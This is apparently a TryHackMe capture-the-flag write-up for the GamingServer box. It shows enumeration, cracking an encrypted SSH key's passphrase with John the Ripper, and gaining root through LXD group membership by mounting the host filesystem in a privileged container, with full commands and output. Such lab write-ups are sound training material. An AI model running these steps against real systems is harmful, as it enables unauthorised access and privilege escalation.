6 min read

TryHackMe GamingServer Writeup: SSH Key Cracking & LXD Privilege Escalation

TryHackMe GamingServer Writeup: SSH Key Cracking & LXD Privilege Escalation

Challenge Info

Reconnaissance

Nmap Scan

nmap -Pn -sV -sC -p 22,80 10.201.41.104 -T4

Scan results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
|   256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_  256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: House of danak
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key takeaways:

  • The HTTP service title is "House of danak"
  • SSH service OpenSSH 7.6p1
  • Ubuntu system
  • Apache 2.4.29

Step 1: Web Enumeration - Finding the Hacker Manifesto

Visit the site and follow the links.

curl http://10.201.41.104/uploads

Page content: we find the classic The Hacker Manifesto:

                     The Hacker Manifesto
                              by
                        +++The Mentor+++
                    Written January 8, 1986

Another one got caught today, it's all over the papers...
[full text omitted]
I am a hacker, and this is my manifesto...

Back on the homepage we spot a key clue - an HTML comment:

<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->

First clue obtained: username = "john"

Step 2: Directory Enumeration - Finding Key Files

Scan with Gobuster.

gobuster dir -u http://10.201.41.104/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40

Files discovered:

  1. An encrypted SSH private key

Download the key file.

# Download the SSH private key
wget http://10.201.41.104/[path]/id_rsa

Step 3: Analyzing the SSH Private Key

Inspect the private key.

cat id_rsa

Key contents:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,82823EE792E75948EE2DE731AF1A0547

T7+F+3ilm5FcFZx24mnrugMY455vI461ziMb4NYk9YJV5uwcrx4QflP2Q2Vk8phx
H4P+PLb79nCc0SrBOPBlB0V3pjLJbf2hKbZazFLtq4FjZq66aLLIr2dRw74MzHSM
...
-----END RSA PRIVATE KEY-----

The important bits:

Proc-Type: 4,ENCRYPTED          # the private key is encrypted
DEK-Info: AES-128-CBC           # encrypted with AES-128-CBC

This is a password-protected RSA private key!

Step 4: Cracking the SSH Private Key Passphrase

Convert the format with ssh2john.

# Convert the SSH private key into a format John can read
ssh2john id_rsa > id_rsa.hash

Crack it with John the Ripper.
Option 1: use rockyou.txt (recommended)

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

Cracking output:

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein          (id_rsa)
1g 0:00:00:00 DONE (2025-10-17 15:16) 25.00g/s 14400p/s 14400c/s 14400C/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

SSH private key passphrase: letmein

Option 2: use a custom wordlist (alternative) — you can find this custom wordlist under the /uploads path.

john --wordlist=dict.lst.txt id_rsa.hash

Step 5: SSH Login to Grab the User Flag

Put the credentials together.

What we know:

  • Username: john (from the HTML comment)
  • SSH private key: decrypted
  • Key passphrase: letmein

SSH Login

ssh -i id_rsa_decrypted [email protected]

Logged in!

User Flag

john@exploitable:~$ ls
user.txt

john@exploitable:~$ cat user.txt
Redacted

Step 7: Enumeration - Finding a Privilege Escalation Path

Check the user's privileges.

john@exploitable:~$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

Key finding: the user is in the lxd group!

Check sudo privileges.

john@exploitable:~$ sudo -l
[sudo] password for john:
# Tried letmein, john, etc. — all failed

sudo is a dead end, but LXD group membership gives us another route to escalate!

Step 8: LXD Privilege Escalation

How LXD privesc works.
What is LXD?

  • LXD is a Linux container management tool (similar to Docker)
  • Members of the lxd group can create and manage containers
  • The key point: you can create a privileged container and mount the host filesystem

Attack flow:

1. Create a privileged container (security.privileged=true)
2. Mount the host root directory into the container
3. Access host files as root from inside the container
4. Read /root/root.txt

Check the LXD State

john@exploitable:~$ lxc list
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+

john@exploitable:~$ lxc image list
+-------+-------------+--------+-------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+------+------+-------------+

Observation: there's no ready-made image, so we need to import one.

Step 9: Prepare an Alpine Linux Image

Build the image on the Kali machine — note this step happens on your local machine, not on the target box!

# 1. Clone the build tool
cd ~
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder

# 2. Build the Alpine Linux image
sudo ./build-alpine

# 3. Check the generated file
ls -lh *.tar.gz

Output:

-rw-r--r-- 1 IronStrongHacker IronStrongHacker 3.2M Oct 17 15:32 alpine-v3.13-x86_64-20210218_0139.tar.gz
-rw-r--r-- 1 root             root             3.9M Oct 17 15:33 alpine-v3.22-x86_64-20251017_1533.tar.gz

Pick the smaller build: alpine-v3.13-x86_64-20210218_0139.tar.gz

Step 10: Transfer the Image to the Target Machine

Working in Windows PowerShell.

# 1. Copy the file into a Windows directory
mkdir C:\temp
copy \\wsl$\Ubuntu\home\IronStrongHacker\lxd-alpine-builder\alpine-v3.13-x86_64-20210218_0139.tar.gz C:\temp\

# 2. Enter the directory
cd C:\temp

# 3. Confirm the file is there
dir *.tar.gz

# 4. Start a Python HTTP server
python -m http.server 8000
# Keep this window open!

Download it on the Target Machine

# Switch to a temp directory
cd /tmp

# Download the image (replace with your IP: 10.13.90.144)
wget http://10.13.90.144:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz

# Verify the download
ls -lh alpine*.tar.gz

Step 11: Executing the LXD Privesc

Import the image.

# Import the Alpine image
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine

# Confirm the import succeeded
lxc image list

Output:

+--------+-------------+--------+-------------+--------+--------+-------------+
| ALIAS  | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH   | SIZE   | UPLOAD DATE |
+--------+-------------+--------+-------------+--------+--------+-------------+
| alpine | [hash]      | no     |             | x86_64 | 3.20MB | Oct 17 2025 |
+--------+-------------+--------+-------------+--------+--------+-------------+

Create and configure a privileged container.

# 1. Initialize the container (privileged mode)
lxc init alpine privesc -c security.privileged=true

# 2. Mount the host root directory to /mnt/root inside the container
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

# 3. Start the container
lxc start privesc

# 4. Enter the container
lxc exec privesc /bin/sh

Confirm the privesc worked.

~ # whoami
root

~ # id
uid=0(root) gid=0(root)

Root privileges obtained!

Step 12: Grab the Root Flag

Understand the filesystem layout.

Important concept:

  • We're currently inside the container
  • The container's /root = the container's own root home (empty)
  • The host filesystem is mounted at /mnt/root

The wrong move (a common beginner mistake).

~ # ls /root
# Empty!

~ # cat /root/root.txt
cat: can't open '/root/root.txt': No such file or directory

The correct path.

# Switch to the host filesystem
~ # cd /mnt/root/

# List the host root directory
/mnt/root # ls
bin    dev   initrd.img  lib64       mnt   root  srv  usr
boot   etc   lib         lost+found  opt   run   sys  var
cdrom  home  ...

# Enter the host's root home directory
/mnt/root # cd root/

# List files
/mnt/root/root # ls
root.txt

Root Flag

/mnt/root/root # cat root.txt
Redacted

Key Takeaways

1. Cracking SSH Private Keys

Toolchain:

ssh2john       # format conversion
john           # password cracking
openssl rsa    # decrypt the private key

Command flow:

# Convert
ssh2john id_rsa > id_rsa.hash

# Crack
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

# Decrypt
openssl rsa -in id_rsa -out id_rsa_decrypted

Key points:

  • Spot the encryption marker: Proc-Type: 4,ENCRYPTED
  • Pick a suitable wordlist (rockyou.txt has a high hit rate)
  • After decrypting, you must set 600 permissions

2. LXD Privilege Escalation

Prerequisites:

  • The user is in the lxd group
  • LXD/LXC is installed on the system

How to check:

id                    # check group membership
lxc --version         # check the LXD version

Breaking down the security parameters:

security.privileged=true    # run the container in privileged mode
source=/                    # host root directory
path=/mnt/root              # mount point inside the container
recursive=true              # recursively mount all subdirectories

3. Enumeration Tips

Analyzing HTML source:

# View comments
curl http://target/ | grep -i "<!--"

# Look for suspicious strings
curl http://target/ | grep -iE "user|admin|password|todo|fixme"

Key sources of information:

  • HTML comments (<!-- -->)
  • JavaScript code
  • Error messages
  • robots.txt
  • Version-control directories like .git and .svn